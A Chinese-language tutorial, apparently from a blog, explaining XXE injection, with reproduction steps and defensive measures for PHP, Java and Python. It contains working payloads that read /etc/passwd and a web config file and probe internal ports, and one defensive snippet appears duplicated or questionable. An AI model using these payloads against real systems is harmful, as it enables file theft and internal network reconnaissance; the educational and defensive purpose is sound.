0X00XXE注入定義
XXE注入,即XML External Entity,XML外部實體注入。通過?XML?實體,”SYSTEM”關鍵詞導致?XML?解析器可以從本地文件或者遠程?URI?中讀取數(shù)據(jù)。所以攻擊者可以通過?XML?實體傳遞自己構造的惡意值,是處理程序解析它。當引用外部實體時,通過構造惡意內(nèi)容,可導致讀取任意文件、執(zhí)行系統(tǒng)命令、探測內(nèi)網(wǎng)端口、攻擊內(nèi)網(wǎng)網(wǎng)站等危害。
0X01漏洞原理
既然XML可以從外部讀取DTD文件,那我們就自然地想到了如果將路徑換成另一個文件的路徑,那么服務器在解析這個XML的時候就會把那個文件的內(nèi)容賦值給SYSTEM前面的根元素中,只要我們在XML中讓前面的根元素的內(nèi)容顯示出來,不就可以讀取那個文件的內(nèi)容了。這就造成了一個任意文件讀取的漏洞。
那如果我們指向的是一個內(nèi)網(wǎng)主機的端口呢?是否會給出錯誤信息,我們是不是可以從錯誤信息上來判斷內(nèi)網(wǎng)主機這個端口是否開放,這就造成了一個內(nèi)部端口被探測的問題。另外,一般來說,服務器解析XML有兩種方式,一種是一次性將整個XML加載進內(nèi)存中,進行解析;另一種是一部分一部分的、“流式”地加載、解析。如果我們遞歸地調(diào)用XML定義,一次性調(diào)用巨量的定義,那么服務器的內(nèi)存就會被消耗完,造成了拒絕服務攻擊。
0X02漏洞復現(xiàn)
發(fā)送測試代碼到測試服務器
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <foo>&xxe;</foo>
在有回顯的情況下,該服務器的/etc/passwd文件就會被泄露。
此時發(fā)現(xiàn)有回顯,開始測試xxe漏洞,抓取數(shù)據(jù)包發(fā)現(xiàn)post一個xml文件
將xml代碼換成測試的xml代碼
將其提交發(fā)現(xiàn)有回顯,回顯內(nèi)容是xml代碼里面的函數(shù)訪問文件夾的內(nèi)容。
修改xml內(nèi)容進行端口檢測。
<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:801">]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
發(fā)現(xiàn)801端口關閉
<!DOCTYPE foo [<!ELEMENT login ANY><!ENTITY xxe SYSTEM "http://192.168.1.42:80">]> <reset><login>&xxe;</login><secret>Any bugs?</secret></reset>
發(fā)現(xiàn)80端口開啟
0X03漏洞防御
1.使用開發(fā)語言提供的禁用外部實體的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance(); dbf.setExpandEntityReferences(false);
Python:
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
2.過濾用戶提交的XML數(shù)據(jù)
?對變量:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC進行過濾.
例如,讓我們來試著定義一個新的自定義實體“harmless”。
<!DOCTYPE results [ <!ENTITY harmless "completely harmless"> ]>
現(xiàn)在,包含這個實體定義的XML文檔可以在任何允許的地方引用&harmless;實體。
from lxml import etree xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML解析器,例如PHP DOM,在解析這段XML時,會在加載完文檔后立即處理這個自定義實體。因此,請求相關文本時,會得到如下的返回:
This result is completely harmless
下面的這個就肯定不是無害的輸入:
<?xml version="1.0"?> <!DOCTYPE results [<!ENTITY harmless SYSTEM "file:///var/www/config.ini">]> <results> <result>&harmless;</result> </results>
3.檢查所使用的底層xml解析庫,默認禁止外部實體的解析
4.使用第三方應用代碼及時升級補丁
5.同時增強對系統(tǒng)的監(jiān)控,防止此問題被人利用
對于PHP,由于simplexml_load_string函數(shù)的XML解析問題出在libxml庫上,所以加載實體前可以調(diào)用這樣一個函數(shù)文章來源:http://www.zghlxwxcb.cn/news/detail-499157.html
<?php libxml_disable_entity_loader(true); ?>
以進行防護,對于XMLReader和DOM方式解析,可以參考如下代碼:文章來源地址http://www.zghlxwxcb.cn/news/detail-499157.html
<?php // with the XMLReader functionality: $doc = XMLReader::xml($badXml,'UTF-8',LIBXML_NONET); // with the DOM functionality: $dom = new DOMDocument(); $dom->loadXML($badXml,LIBXML_DTDLOAD|LIBXML_DTDATTR); ?>> <wiz_tmp_tag id="wiz-table-range-border" contenteditable="false" style="display: none;">
到了這里,關于XXE漏洞復現(xiàn)步驟的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關文章,希望大家以后多多支持TOY模板網(wǎng)!